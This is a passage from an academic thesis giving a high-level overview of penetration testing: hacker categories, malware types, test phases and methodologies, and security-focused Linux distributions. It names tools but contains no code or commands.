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Goal of thesis  

The goal and objective of this thesis is to present a theoretical analysis of Penetration Testing 

and a practical application of Penetration Testing in Information Systems in order to assess 

their security. 

The people who will read this thesis will be able to understand the Penetration Testing and 

how important it is for information systems. 

Structure of the Thesis  

In order to assure comfortable reading, the report flows according to the following structure. 

Chapter 1 include the goal of this thesis and its structure. Chapter 2 introduce the general 

topics of Hacking and the Ethical Hacking and their definitions. The chapter also covers the 

basic categories of Hackers and the difference between the Hacking and Ethical Hacking. 

Chapter 3 introduce the main subject of thesis which is the Penetration Testing in the 

Information Systems. More specifically in this chapter include the definition of Penetration 

Testing, the basic steps which following by the testers, the basic categories and methodologies 

of penetration Testing. Also, in this chapter present the types of Penetration Testing and the 

difference between the Penetration Testing and Vulnerability Scan.  

Chapter 4 moves into more in-depth technical details as describe the tools that are used from 

the Penetration Testers. In this section describes the best known and most frequently pen test 

tools that used from the testers. Then in this chapter contains five use cases of Penetration 

Testing which follow all its steps of Penetration Testing process (e.g Information Gathering, 

Footprinting and Scanning etc.) 

Lastly, chapter 5 concludes the thesis and proposes a number of directions for further studies 

on the respective topic of penetration testing. 
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1. Introduction 

The age we are going through has been characterized as the age of information and the age 

of computers as the computer has infiltrated the daily life of human to a significant degree. 

his has resulted in the development of ever larger information systems as well as network 

systems that manage and exchange a huge amount of information. In nowadays an ordinary 

human exchange a tremendous amount of information via the internet every day. More and 

more network devices (devices which have the potential to connect in the internet and 

exchange data) are being created in order to facilitate the daily life of humans. 

The evolution of technology as well as the increasing use by its users has led many of them to 

exploit it with a negative impact. More specifically the Information Systems became targets 

for cyber-attacks from malicious users who try to exploit their vulnerabilities and be able to 

extract information or even gain unauthorized access to an Information System. In this day 

and age, there have been many such cyber-attacks that have had a negative impact on many 

organizations or even humans. The most famous cyber-attacks in the history are: 

1. Marriott Hotels which an attacker compromised 500 million customers sensitive 

data (e.g. banking data). The Marriott organization face 123$ million fine by UK 

authorities over this breach. [2014-2018] [1] 

2. eBay reported that a cyber-attack exposed its entire account list of ~145 million 

users. The data that exposed contained name, addresses, dates of birth and 

encrypted passwords. The impact of this attack was that the eBay was criticized at 

the time for a lack of communication with its users and poor implementation of the 

password-renewal process. [2] 

Therefore, the security of an Information System is now a critical goal of an organization in 

order to ensure that they are fulfilled the three security goals which are Confidentiality, 

Integrity and Availability 

This is where Penetration Testing comes which aimed to identify any vulnerabilities in 

Information System and taking immediate countermeasures to reduce the risk of attack on 

the system. 

Penetration testing is one of the main approaches taken by organizations for gaining 

assurance in the security of their information technology  

Finally, the Penetration Testing is performed with the help of a variety of tools developed by 

developers for a specific action. These tools are classified into specific categories depending 

on the purpose for which they are used. 

1.1 Hacking 

The term Hacking comes from small programs, called hacks, which were very common in the 

early days of computers, when programming was a very difficult and arduous task, only for a 

very few and of course only in machine language. 

Hacking is an attempt to exploit an Information System or a private network without 

authorization. The malicious users who hack an Information System aim to violate the security 

of the information System. 
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A person who involved in Hacking activities is known as a Hacker. More specifically, a Hacker 

is a person who invades an information system without authorization and experiments with 

every aspect of it. Hackers have the right knowledge and skills to be able to carry out an attack 

on an information system. 

If the hacker’s actions are malicious, they are usually called crackers. [3,4] 

1.2 Types of Malware 

The Malware is the abbreviation of “Malicious Software”. Malware is a short malicious 

software written to cause damage or exploit vulnerabilities on computer systems without the 

owner’s authorization. The hackers in order to achieve their goals (exploit computer systems) 

usually use malwares. The main types of malware are:[5,6]  

1. Virus: A computer Virus is a computer program that copies itself and spreads 

without the permission or knowledge of the owner. These copies could be insert 

them into other programs or files. The virus not spread via exploiting vulnerabilities 

but if the virus infects a file and the owner move this file to any system the virus 

have a change to spread and survive. 

2. Trojan Horses: is a kind of malware that appears as legitimate programs but the 

contain malicious instructions. This type of malware is the most common nowdays. 

A trojan horse must be executed by the victim in order to do the work which is 

created. The trojan usually delivered in the victim via email or downloaded on users 

when they visit infected websites. The most famous trojan horse type is the fake 

antivirus program which pop up and claims you are infected and then urges to run 

a program to clean your computer. 

3. Ransomware: Malware program that encrypt important files with a password and 

then demands from the user to send money in order to return promises to decrypt 

these files. Most ransomware programs are Trojans this mean that they must 

spread through social engineering. The ransomware can be prevented just like 

other type of malware program but if executed it is hard to reverse the damage 

which occurred  

4. Adware: this type of malware is basically advertising supported software which 

displays ads from time-to-time during the use of software. A common adware 

program may redirect the user browser search to look-alike web pages with product 

promotions 

5. Spyware: A spyware is type o malware which keeps on spying the user activities 

such as collecting what he types, his website visiting record  and other information 

without the authorization of the computer user. The information that collected 

from the user victim is sent to the malware developer. 

6. Worms: Worms are basically malicious software which use the network 

vulnerabilities in order to spread themselves from system to the system in the same 

network. Once in place, can be used by malicious user to perform DDos Attacks, 

steal sensitive data etc. 
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1.3 Types of Hackers 

Nowadays the term Hacker is divided into three main categories depending on the nature of 

the actions they perform in the information system which they gain access to. More 

specifically the three categories are Black Hat, White Hat and Gray Hat.[7,8,9] 

1.3.1 Black Hat Hacker 

The category Black Hat Hacker includes hackers involved in cybercrime. In practical, contain 

those people who break the Information Systems without permission, “breaking” them with 

the sole purpose of causing problems in the system and possibly stealing money or 

information from it that they should not have (for example card numbers, sensitive personal 

data etc.) 

The hackers who include in this category are motivated by money or by feeling of power. 

The Black Hat Hackers are known for the following common cyber-attacks: 

• DOS/DDOS attacks also named Denial-of-service attack is a cyber-attack which the 

hacker make the machine or network resource unavailable to its targeted users by 

temporarily or indefinitely disrupting services of a host connected to the Internet 

• Distortion of Web pages by taking control and replacing the main photos of the 

page with rude slogans  

• Identify theft and theft of personal information 

• Botnetting: Remote control of dozens of personal computers and programming of 

“zombies” for spam executions. 

1.3.2 White Hat Hacker 

A different category of hackers is the White Hat category. The White Hat Hackers have well- 

intentioned motives. This category consists of people who will break into systems, after 

permission, ’breaking’ them with the sole purpose of finding its problems and ultimately 

creating a more secure information system by taking security measures. The White Hat Hacker 

also called as Ethical Hacker is a talented user in computer security used to help protect 

computer networks. White Hat Hackers can also be former black hats working as security 

guards for a company. 

This category includes Ethical Hackers who may be employees of a company but also those 

who are engaged only in hobbies. 

The goal of White Hackers is to fight cybercrime as they try to secure the systems further so 

as to prevent future attacks by black-hat hackers who intend to damage the system. 

1.3.3 Grey Hat Hacker 

Between the two categories mentioned above there is the third category Gray hat hackers 

which can be characterized as neutral as belong to people who violate information systems 

usually without permission (violating the law) but without malicious intent. Their goal is 

knowledge and they often work as volunteers. 

Hackers in this category have been labeled as hacktivists after occasionally trying to pass 

various political messages or publicize information that they think people should know. 

https://en.wikipedia.org/wiki/Network_service
https://en.wikipedia.org/wiki/Host_(network)
https://en.wikipedia.org/wiki/Internet
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1.3.4 Other types of Hackers 

The above three categories are the most basic and usually all the hackers end up being 

classified in these above categories. But there are special types of hackers which described 

below [10.11],:  

Script Kiddle:This term is usually used for novice hackers who as they do not have enough 

knowledge to build their own algorithms and think of their own ways of penetrating systems 

end up using ready-made ways. They usually do not cause much damage as their abilities do 

not allow them. 

Suicide Hacker: In this category include the hackers who while they know that a Penetration 

in a information system will reveal its identity but still do it usually for the reputation that it 

will gain after the succeed penetration. 

Hacktivist: In this category belongs the internet activists who their motive is to protest in this 

way and hoping to bring change in the world. 

Blue Hat Hacker: Script Kiddies with the difference that they have exclusively bad intentions 

and usually do deeds to get revenge. 

Green Hat Hacker: This category includes the amateur hackers who they have not committed 

any crimes but one can easily understand them from the fact that they are constantly 

interested and learning about hacking mainly from online communities  

1.3.5 Hacking vs Ethical Hacking  

As mentioned above, hacking has negative consequences for an organization either on a small 

scale or a large scale. These consequences can be either economic, business or social. In the 

case of White Hat Hacker, one considers that hacking has a positive effect on the organization. 

Ethical hacking is conducted by hackers as well but their intention behind hacking is not for 

malicious purposes. The Ethical Hackers belongs to the White Hat Hackers category. Their 

services are used to check and build on software security and thus help to develop the security 

system of a framework in a business or organization to prevent potential threats. Ethical 

hacking is adopted by many almost every organization. 

Therefore, Ethical Hacking has a positive effect on an organization as its sole purpose is to 

examine the system thoroughly and to be able to identify any vulnerabilities that maybe 

exists. This procedure reduces the risk to exploited these vulnerabilities by a hacker to the 

detriment of the organization.[12] 

 
Figure 1.1: Ethical Hacking vs Unethical Hacking [92] 

Some differences between Unethical Hacking and Ethical Hacking is presented on the below 

table[13]: 
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Table 1.1: Ethical Hacking vs Unethical Hacking 

Unethical Hacking 
Black Hat Hackers objectives 

Ethical Hacking 
White Hat Hackers objectives 

Steal valuable-sensitive information  Insert security framework on the system 

To steal money through transactions and 
accounts 

Developing high security programming 
language like Linux 

Unauthorized access on the Information 
Systems 

Developing most of the security software for 
organizations 

To steal valuable information from 
military/navy organizations etc 

Implement and control countermeasures to 
minimize the risk of attack  
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2. Penetration Testing  

2.1 Definition of Penetration Testing 

Penetration Testing, colloquially known as pen testing or ethical Hacking, can be defined as 

an authorized simulated cyber-attack on a computer system with the unique purpose to 

assessing the security of the system. More specifically, during the penetration test, the tester 

tries to detect vulnerabilities in computer systems, network or a web application that an 

attacker could exploit and create a negative impact on the system. 

Penetration Testing can be performed manually or can be automated with tools which are 

created to help the testers to proceed with penetration testing. 

The main purpose of Penetration testing is to identify the vulnerabilities on the System before 

a Black Hat hacker. Penetration testing can be also used to evaluate an organization’s security 

policy, compliance with the organization’s security requirements, the knowledge of 

employees about the security issues and the organization’s ability to detect and respond to 

security incidents. [12,14,16,17] 

The National Cyber Security Center describes penetration testing as the following: "A method 

for gaining assurance in the security of an IT system by attempting to breach some or all of 

that system's security, using the same tools and techniques as an adversary might.” [15] 

Organizations should perform pen testing regularly depending on the size of the organization. 

The best practice is to perform a penetration testing once a year in order to ensure more 

consistent network security and IT management. Additional penetration testing on an 

organization can be performed if at least one of the following has occurred: [18,19] 

• adds new network infrastructure or applications; 

• makes major upgrades or modifications to its applications or infrastructure; 

• establishes offices in new locations; 

• applies security patches; or 

• modifies end-user policies. 

However, the penetration testing is not the same for all organizations. The penetration testing 

also depends on several other factors such as the following[20]: 

• The size of the organization. Organizations with a larger presence on the internet 

have more attack vectors and, therefore, are more-attractive targets for hackers. 

• Penetration testing can be costly, so an organizations with a smaller budget are not 

be able to perform pen tests at regular basis (once a year).So these organizations 

maybe perform penetration testing once every two or three years in contrast with 

other organizations with a larger budget that can perform penetration tests every 

six months. 

• Regulations and laws.In certain industries the organizations are required by law to 

perform penetration tests in order to ensure the security of their computer 

systems. 

https://en.wikipedia.org/wiki/National_Cyber_Security_Center
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2.2 Phases of the Penetration Testing 

The overall process of penetration testing can be broken into a series of steps or phases. When 

put together these steps form a comprehensive methodology for completing a penetration 

testing. The use of an organized approach is important because it not only keeps the 

penetration tester focused and moving forward but also allows the results or output from 

each step to be used in the ensuing steps. The use of a methodology allows you to break down 

a complex process into a series of smaller more manageable tasks. The penetration Testing 

process usually contains between four and six steps or phases. Although the overall names or 

number of steps can differ between methodologies. 

In this thesis we will refer to the process of penetration testing that contains six phases. These 

phases are the below: 

I. Engagement 

II. Information Gathering  

III. Footprinting and Scanning 

IV. Vulnerability Assessment 

V. Exploitation 

VI. Reporting 

 
Figure 2.1: Phases of penetration testing (Educational Material from eJPT certification) 

2.2.1 Engagement 

The first phase on the Penetration Testing process is the Engagement, also called pre-

engagement. During this phase all the details about the penetration test should be established 

between penetration tester and the company that will test. More specifically the penetration 

tester and the client will agree on a document which named Rules of Engagement (ROE). The 

ROE stands as the definition of testing being performed to ensure all stakeholders are on the 

same page. The ROE document will contain the below points[21]: 

• Types of Testing Being Performed – On this section of the Rules of Engagement 

document contains the type of penetration test that will be performed on the 

organization. 

• Project Schedule – This section in the document is very important as it mentions 

the penetration test scheduling. It is characterized as important as penetration 

testers should be aware of the hours that the tests should be performed in order 

to avoid network traffic congestion. 

• Rules of Engagement – This is the most important section on the document and 

these rules are crucial to be revealed in detail because they provide the necessary 

testing. For example, in this section may be contained: 

➢ Treatment of sensitive information during the project 

➢ Emergency contacts information 
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➢ Handling of a sensitive and critical vulnerability 

• Approval – The final section on this document is a thorough review, update of any 

requested information, and written approval that the information that defined in 

the ROE are acceptable and correct. 

2.2.2 Information Gathering  

The phase Information Gathering is the first and one of the most fundamental stages of a 

successful penetration test. This phase can start once the legal paperwork is completed on 

the previous step but not before the beginning of the testing period. During this step the 

penetration controller becomes a researcher as he wants to collect information about the 

client’s company. The penetration tester in this phase could gather information about client’s 

company such as[22,23]: 

• General Information – In this category of information could contain names and 

email addresses from the board of directors, investors, managers and employees 

etc. 

• Infrastructure information - This information could be IP address or the domains in 

scope into actionable information about servers, operating systems and much 

more. If there is any web application in scope, the penetration tester will harvest 

domains, subdomains, pages and technologies in use (e.x PHP,Java etc.) 

The purpose of this phase is the penetration tester gather as much information as he can in 

order to help him in the next phases. The gather information process has two approaches[22,23]: 

1. Passive Information Gathering - This approach can be used only before the active 

information gathering as is less invasive. This mean that the penetration tester is 

not actively interactive with the organization's system. Only published information 

is used about our target information system of organization On this case the 

penetration tester gathering as much information as possible without establishing 

contact between the penetration tester and the target. The penetration tester can 

use Search engine results, who-is information etc. 

2. Active Information Gathering – This type of approach, the penetration tester can 

gather more information about the target by actively interacting with them. Maybe 

in this type of approach the penetration tester leaves traces which can result in the 

trigger of alerts to the target. 

At the end of the Information Gathering process the penetration tester should at least have 

some of the following information about the target: 

Table 2.1: Necessary information for Organization 

Network Map Operation Systems that systems run 

Web presence  Alive machines 

IP address Physical Locations 

Ports  Employees and Departments 

Services Emails 

Web presences  

*Maybe some of the above are not possible to be found by the penetration tester  
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2.2.3 Footprinting and Scanning  

In this phase the penetration testers deepen their knowledge of the in-scope servers and 

services that used by the clients. More specifically this phase is divided from two steps. The 

first one is the Footprinting. The process of footprinting is a completely non‐intrusive activity 

for the target network or computer system. This process has a sole purpose of gathering the 

widest possible range of available information for the target organization and its systems.The 

collection of information can be performed with both technical and non-technical ways. This 

include the searching the internet,querying varioys public repositories(whois database, 

domain registers etc) [22,23] 

The sub-phase is part of the preparatory pre-attack phase and is important for the penetration 

testing in order to finding ways to intrude into that environment. 

Many penetration testers tend to skip this phase as they believe that it is not important for 

the tests. But this logic has been characterized as wrong because the information is collected 

during this phase are important for the success exploitation. [22,23] 

Some of the common techniques used for the information gathering in the Footprinting phase 

are: 

• DNS Enumeration and Identify Types of DNS Records – In this technique the 

penetration tester locating all the DNS servers and their corresponding records for 

an organization. 

• Finding the Address Range of the Network – The penetration tester needs to find 

the network range and subnet mask of the target system (Client System). The IP 

addresses are important for penetration testing  and will used on whole process.  

• Using Traceroute  

• E-Mail Tracking 

• Web Spiders 

Scanning are the rest of the phase Footprinting&Scanning and involves taking the information 

discovered in the previous phases and using it to examine the network. The scanning phase 

will usually comprise of identifying live systems, open/filtered ports found, services running 

on these ports, mapping router/firewall rules, identifying the operation systems details, 

network path discovery etc. Tools that a penetration tester may employ during the scanning 

phase can include dialers, port scanners, network mappers, sweepers etc. The penetration 

testers when using these tools are always careful as they can cause excessive traffic on the 

target system or network. [22,23,25] 

The most common tools that used from the penetration testers during this phase are: 

• Nmap  

• SuperScan 

• Hping 

• pOf 

• Xprobe2 

• Httprint 

2.2.4 Vulnerability Assessment 

After successfully identifying the target systems and gathering the required details from the 

above phases, a penetration tester tries to find any possible vulnerabilities existing in each 



16 
 

target system. In the vulnerability Assessment phase, the penetration tester aims at building 

a list of the vulnerabilities present on the target system. More specifically, vulnerability 

Assessment is the process of defining, identifying, classifying and prioritizing vulnerabilities in 

computer systems, application and network infrastructures. During this phase may use 

automated tools to scan the target systems for know vulnerabilities. These scanners use a 

database of know vulnerabilities and security audits to detect the vulnerabilities of a system. 

Scanners perform their probes on daemons listening on TCP and UDP ports, configuration files 

of operation systems, software suites, network devices and on windows registry entries. 
[24,25,26] 

Various vulnerabilities scanners are available on the internet. Some of the most popular 

vulnerabilities scanners are[23]: 

• Nessus  

• Shadow Security Scanner  

• OpenVAS 

• Nexpose 

2.2.5 Exploitation 

At this phase the penetration tester verifies if the vulnerabilities really exist. This mean that 

the tester exploiting all the vulnerabilities found during the previous phase. During the 

exploitation phase a pen tester check and validates a vulnerability and also widens and try to 

increase the pentester’s privileges on the target system and networks. A successfully exploit 

of machine helps the tester to investigate the target network further, to discover new targets 

and to repeat the process from the Information Gathering phase. 

Therefore, the main focus of penetration test is to simulate an attacker in order to represent 

a simulated attack against organization. This approach may be particularly useful at the end 

of a penetration test to gauge the level of incident response from the organization, but in 

most cases the exploitation phase is an accumulation of specific research on the target. [23,25] 

Some of the standard exploit tactics include[25]: 

• Web Application Attacks 

• Network Attacks 

• Memory-based attacks 

• Wi-Fi attacks 

• Zero-Day Angle 

• Physical Attacks 

• Social engineering 

The process of exploitation ends when there are no more systems and services in-scope to 

exploit from the penetration tester. The penetration tester in this phase must be focused to 

executing properly the procedure due to an exploit may bring a production system down. 

There are good exploitation frameworks available that would aid a penetration tester in 

developing exploits and executing them in a systematic manner. Few good commercials as 

well as open‐source exploitation frameworks are [23]: 

• The Metasploit Project 

• Immunityʹs CANVAS 



17 
 

2.2.6 Reporting 

The final phase of penetration testing is the Reporting which is often regarded as the most 

critical aspect of pentest. This step can occur in parallel to the other three stages or at the end 

of the Exploitation stage. The Penetration Test Report is considered as important as the whole 

testing phase, as the Penetration Tester officially deliver and communicate the results on the 

organization. This report is considered an important and necessary tool for many members on 

the organization in many departments such as IT, Development etc. 

The final report must be prepared from the penetration testers detailing the techniques which 

used during the test, the vulnerabilities found, the exploits used, impact and risk analysis for 

each vulnerability and countermeasures that could use from the organization in order to 

prevent these attacks. 

The Report is useful for the organization as it provides useful suggestions and techniques in 

order to resolve their security issues. A penetration testing without report does not make 

sense because the organization not know their vulnerabilities and how to fix them in order to 

prevent possible cyber-attacks from a malicious user.[23,25] 

2.3 Penetration Testing vs Vulnerability Assessment  

Organizations and people are often misinformed or misguided as to what the differences are 

between a penetration test and a vulnerability assessment. In many cases upper-level 

executives which ask for a penetration test but really, they want a vulnerability assessment 

and vice-versa. The terms are completely different from each other as well the penetration 

testing is a whole process and include the vulnerability assessment as a phase of this process. 

This mean during the penetration test the tester identify and confirm the vulnerabilities with 

evidence(exploitations) in contrast to the vulnerability assessment that if performed 

separately does not confirm that vulnerabilities are valid and can be exploited.[26] 

The main differences between penetration testing and vulnerability assessment are described 

on the below table[26]: 

Table 2.2: Differences between Penetration testing and Vulnerability Assessment 

Vulnerability Scan Penetration Test 

Create a list of asset and resources in the 
system 

Determines the scope of an attack. 

Discover all the possible vulnerabilities for 
each resource 

Handling sensitive data  

Allocates quantifiable value and 
significance to the available resources. 

Gathers targeted information and/or inspect 
the system. 

Discovers all the know vulnerabilities but 
does not confirm their existence 

Determine the real vulnerabilities and gives 
final report. 

Comprehensive analysis and through 
review of the target system and its 
environment. 

It is non-intrusive, documentation and 
environmental review and analysis. 

Ideal for lab environments Ideal for physical environments and network 
architecture. 

It is meant for non-critical systems. It is meant for critical real-time systems. 
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2.4 Types of Penetration Testing 

The Penetration Testing can be divided into 5 types depending on how the penetration test is 

performed by the testers. In more detail, the penetration test can be characterized as 

external, internal, blind, double-blind or even targeted. 

2.4.1 External Testing  

External Penetration tests target the systems of a company that are visible on the internet. 

For example, web application, the company website, email and domain name servers (DNS). 

The purpose on this type of Penetration testing is to gain access and extract valuable 

data/information. [27] 

2.4.2 Internal Testing 

In an internal testing, penetration tester has access on the internal network of organization. 

This mean that is behind the firewall of the network and can simulate an attack as a malicious 

user(insider). However, this is not necessarily that a malicious employee performs this attack 

as through a phishing attack the employee’s credentials could have been stolen and a 

malicious user pretend an employee of organization. [27] 

2.4.3 Blind Testing 

In a blind test, the penetration tester knows only the name of target organization. This help 

the security personnel a real-time look into how an actual application assault would take 

place. The penetration tester in this type of testing try to find more and more information 

about the organization in order to exploit the organization system. [27] 

2.4.4 Double-Blind Testing 

In a double-blind test, the security personnel have no prior knowledge of the simulated attack. 

This mean that the penetration tester also monitors the security team readiness to deal with 

a possible real attack by a Hacker (maybe black hat hacker). This type of penetration testing 

simulates an attack as in a real world. [27] 

2.4.5 Targeted testing 

In this type of pentest both the tester and security team work together and keep each other 

appraised of their movements. This type of test helps the security team to improve their skills 

as they have a real-time feedback from a hacker’s point of view. [27] 

2.5 Methodologies of Penetration Testing 

The Penetration tests can deliver widely different result depending on which standard and 

methodologies the penetration Testers uses. There are five(5) choices of Penetration Test 

Standards and Methodologies that can provide suitable option for each organizations to 

secure their systems and reduce their vulnerabilities. [28] 

2.5.1 OSSTMM  

The framework OSSTMM (Open Source Security Testing Methodology Manual), is one of the 

most well-known standards in the industry. This framework provides a professional 
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methodology for network pentest and vulnerability assessment. It is a completed guide for 

the penetration testers to identify security vulnerabilities which present in the network. 

The OSSTMM methodology allow penetration testers to perform customized penetration 

testing that fits on the organizations depending on the technology context. The customized 

assessment presents an overview of the network security and reliable security solutions in 

order to secure the network of organization. [28] 

2.5.2 OWASP 

The OWASP (Open Web Application Security Project) is the most recognized standard in the 

industry that helps organizations to manage web application vulnerabilities. This framework 

helps the pen testers to identify vulnerabilities in web and mobile applications but also 

complex logical flaws that created from unsafe development practices.  

This methodology offers on the organizations the ability to have more secure web and mobile 

applications from common faults that may be can have critical impact on the organization. 

Organizations should take into account this standard when they developed new applications 

in order to avoid common security faults. 

During an application Security Assessment, the OWASP standard should be leverage to ensure 

that there are no common vulnerabilities and that your organization obtains realistic 

recommendations adapted to the specific features and technologies used in your applications. 

[28] 

2.5.3 NIST 

The NIST(National Institute of Standard and Technology) offer more specific guidelines for 

penetration tester to follow than other information security manuals. The NIST provide a 

manual that is best suited to improve the Cybersecurity of an organization. 

In addition, the NIST framework ensure the information security in many industries including 

baking, communications and energy. Furthermore, all organizations regardless of size can 

adjust the framework in order to meet their needs. 

All the organizations that wants to comply with the NIST standard, the organizations should 

perform penetration testing on their applications according the pre-established set of 

guidelines. These guidelines ensure that the organization fulfilled the cybersecurity control 

and assessments obligations and mitigate risk of a possible cyberattacks. [28] 

2.5.4 PTES 

The PTES (Penetration Testing Methodologies and Standards) offers a structured approach to 

a Penetration Test. This framework guides the penetration testers across various steps of 

penetration testing including initial communication, Information Gathering and other phases. 

The Penetration Testers who follow these standards helps them identify the most vulnerable 

areas that are vulnerable to attacks. This knowledge helps Pen testers decide which attack 

they will use on the systems or networks that are most likely to succeed. 

The PTES also provide guidelines to the Penetration Testers for post-exploitation phase which 

take place after the exploitation phase. The post-exploitation phase is not necessary for all 

cases and allows the penetration testers to validate that the previously vulnerabilities have 
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been fixed in the system. According to this standard the penetration test has seven phases to 

be considered successful. [28] 

2.5.5 ISSAF 

The ISSAF(Information System Security Assessment Framework) was created by the Open 

Information Systems Security Group.(OISSG) and cover many aspects of information security. 

The framework provides detailed recommendations for penetration testing and enable 

penetration tester to plan and execute every step of testing process. The ISSAF is considered 

a complex and thorough methodology that can be adapted for assessing information security 

in any organization. [28] 

2.6 Common Areas for Penetration Testing 

2.6.1 Network Penetration Testing 

The Penetration testers in network penetration simulate attacks to discover vulnerabilities in 

an organization routers, switches, and other aspects of their network. This testing exposes 

any vulnerable part of the network that hackers might exploit them. [29] 

There are many benefits to performing network Penetration Test on organization's network 

such as [29]: 

• Understanding the organization’s network. More specifically the penetration tester 

identified the network through the use of scanning tools like port scanner, network 

scanner etc. 

• Testing their security controls. Tester performs a penetration test in order to check the 

security controls and determine if they are effective on the system. 

• Prevent network and data branches before being exploited by a Hacker. The results of a 

Penetration Testing help a business owner in designing or adjusting their risk analysis and 

mitigation strategies. This helps the organization prevent future breaches as the network 

penetration test simulate a real-world attacker attempting to break into system 

• Verify the network & system security. A network penetration test helps to ensure system 

security in a variety of ways. The network Penetration test help the organization to pre-

act and take the necessary countermeasures to prevent possible future attacks. 

2.6.2 Web Application Penetration Testing  

Web Application Penetration Testing involves a series of phases. These phases are targeted to 

gathering information about the target system (for example a web server), finding 

vulnerabilities in them, researching for exploits that will succeed against those vulnerabilities 

and compromise the web application. 

The methodology OWASP(Open Web Application Security Project) is usually used in the web 

application penetration test. 

Due to that some Web applications hold sensitive data; it is important to keep them secure 

all time. For this reason, the Web penetration test is also important to find critical 

vulnerabilities on Web applications and receive the appropriate countermeasures to fixed 

them. [30] 

The phases that included in the Web Penetration testing are[30]: 
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1. Information Gathering 

2. Research and Exploitation 

3. Reporting and Recommendations 

2.6.3 Mobile Application Penetration Testing 

 The number of mobile devices that are used by humans has increased significantly in recent 

years. These mobile devices have become important tools in their daily lives as they use them 

all day and improve their standard of living. The mobile applications collect and process 

sensitive data. The protection of these sensitive data is becoming an increasingly important 

requirement. 

Many bad users know that the mobiles contain sensitive data and will relentlessly pursue ways 

to infiltrate both iOS and Android Systems to uncover weaknesses. Mobile devices security 

has been a major field of research, and mobile device security focuses on Mobile Device 

Management (MDM), device-level security, storage security, transport layer security and 

mobile device application Security. 

During Mobile Application Penetration Testing the tester take an in-depth look into what 

operating systems that used on mobiles and the apps associated with them. Then the 

Penetration Tester simulate real-world attacks to uncover any vulnerabilities associated with 

mobile devices.[31] 

There are several ways to test mobile devices security with iOS or Android operation system. 

Some of them are[31]: 

1. Reverse Engineering: A penetration tester tries to reverse engineer the application 

content in order to identify sensitive hard-coded values. This sensitive information 

could help them to gain unauthorized access or to identify potential logic and 

operation flaws of the execution of the application 

Network Communications Analysis: A Penetration tester monitors and 

manipulates network calls to the backend servers supporting the execution of the 

application. The purpose of these tests is to identify common input validation bugs 

that could lead to sensitive information disclosure or unauthorized access 

2. Run-time and Logic Manipulation: A Penetration tester performs various 

techniques to manipulate the logic of the application during the executing on the 

device in order to attempt to identify risks associated with misuse, data leakage, or 

unauthorized access 

3. Insecure data storage analysis: A penetration tester evaluate the data storage that 

the application stores its data. If the mobile application stores sensitive data in 

unsafe storage, this can be a critical issue as it may exposed them to unauthorized 

users  

2.6.4 Physical Penetration Testing 

Many people think that the physical security does not have any vulnerabilities but this is 

strongly wrong because some physical security controls can be an open door for a 

cybercriminal. For this reason, we have the physical penetration testing which during this 

process the pentester will attempt to gain unauthorized access to the facilities through some 

network devices. These network devices could be: 

• RFID & Door Entry Systems 
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• Lock-picking 

• Personnel or vendor impersonation 

• Motion sensors 

Often, a physical penetration test is performed with some of social engineering. In this process 

of penetration testing the pentester maybe need to deceive or manipulate organization 

employees. [29] 

2.6.5 Social Engineering Testing 

The security of an organization is only as strong as the weakest list in their chain. More 

specifically the weakest factor in the security of a system is the users who are related to the 

system because people make mistakes and can be easily manipulated. Social engineering is 

one of the most prevalent ways in which threat actors can infiltrate your environment[32]. 

The most common types of social Engineering tactics which used by the pen testers are[32]: 

• Phishing Attacks – is a type of social engineering attack which used to steal user 

data (such as login credentials and credit card numbers). This attack occurred when 

the attacker masquerading as a trusted entity, dupes a victim into opening an email 

or an instant message or a text message. 

• Pre-texting – is a type of social engineering in which an attacker tries to convince a 

victim to give up valuable information or access to a service or a system. 

• Tailgating – also named piggybacking, is a type of social engineering attack which 

an attacker asking for access to a restricted area of an organization physical or 

digital space. 

• Gifts – This is a common technique which attacker offer a gift exchange for access 

to a system or a service. Maybe the attacker offers a gift to receive valuable 

information about the organization’s systems 

• Dumpster Diving – The term Dumpster diving means searching trash for useful 

information. The trash may be in a public dumpster or in a restricted area requiring 

unauthorized entry. This mean that the attacker search trash (e.g., CDs, Hard Disks 

etc.) to obtain some sensitive information which employee maybe have thrown on 

the trash bin. 
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3. Penetration Testing Tools 

In nowadays, more and more Penetration Testing tools are being developed and used by 

Penetration Testers. The Penetration Testing Tools are used as part of a penetration test to 

automate certain tasks, improve testing efficiency and discover weakness that maybe be 

difficult to find using manual techniques. In this section I will provide a shortly overview for 

the most important tools that are used by a penetration tester. 

3.1 Operating Systems for Penetration Testers 

The Penetration Testers during the penetration testing process mainly use operating systems 

that are based on the Linux Kernel and are bundled with many hacking tools. The most known 

Operating Systems are Kali Linux, BackBox, GnackTrack and NodeZero. All these operating 

systems are free and open source. 

3.1.1 Kali Linux 

The Kali Linux is the most well-known Operating System and used by the most Penetration 

Testers. Kali Linux is based on the Debian-Linux distribution and is especially designed for 

digital forensics and penetration testing. It is developed, maintained and updated on a regular 

basis by Offensive Security Ltd. Kali contains several (~300) penetration testing programs and 

can be installed as a primary operating system on the hard disk, live CD/USB and can even run 

as a virtual machine using some virtualization software (e.g., VMware, VirtualBox etc.)  

Kali Linux supports both 32-bit and 64-bit images and even supports various development 

boards like Raspberry Pi, Odroid, BeagleBone etc. [33,34] 

 
Figure 3.1: Kali Linux main screen 

The Kali Linux contain several hundred tools which are covered various information security 

tasks, such as Penetration Testing, Security research, Computer Forensics and Reverse 

Engineering. These tools divided in the below categories: [34] 

• Information Gathering  
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• Vulnerability Assessment  

• Web Applications 

• Password Attacks  

• Exploitation Tools 

• Sniffing and Spoofing 

• Maintaining Access 

• Reporting Tools 

• System Services 

(*The tools that contained in the above categories will be covered below) 

 
Figure 3.2: Kali Linux menu 

3.1.2 BackBox 

The Backbox is a free, open-source and Ubuntu-based Linux distribution aimed at assisting 

ethical hacker and penetration testers in security assessments. Backbox OS is designed with 

the objective of being faster, easily operable and having a minimal desktop environment. The 

main advantage of BackBox OS is that its own software repositories are updated at regular 

intervals to keep the distribution up to date. [35,36] 
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Figure 3.3: BackBox main screen 

It consists of more than 70 most used security and analysis Linux tools, aiming for a wide 

spread of goals, ranging from Web analysis and network analysis to stress testing, sniffing, 

vulnerability assessment, forensics and exploitation. [35,36] 

 
Figure 3.4: BackBox main menu 

Another important key feature is that the BackBox is one of the first platform supporting the 

cloud for penetration testing. [35,36] 

Some of the tools that contained in the BackBox are [35]: 

• Metasploit 

• Armitage 
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• Nmap 

• OpenVAS 

• W3af 

• Ettercap 

• Wireshark 

• Kismet 

• Aircrack 

• John The Ripper 

3.1.3 GnackTrack 

GnackTrack is a Linux distribution based on Ubuntu which include lots of utilities for 

penetration testing. It has GUI (Graphical User Interface) based on GNOME desktop for easy 

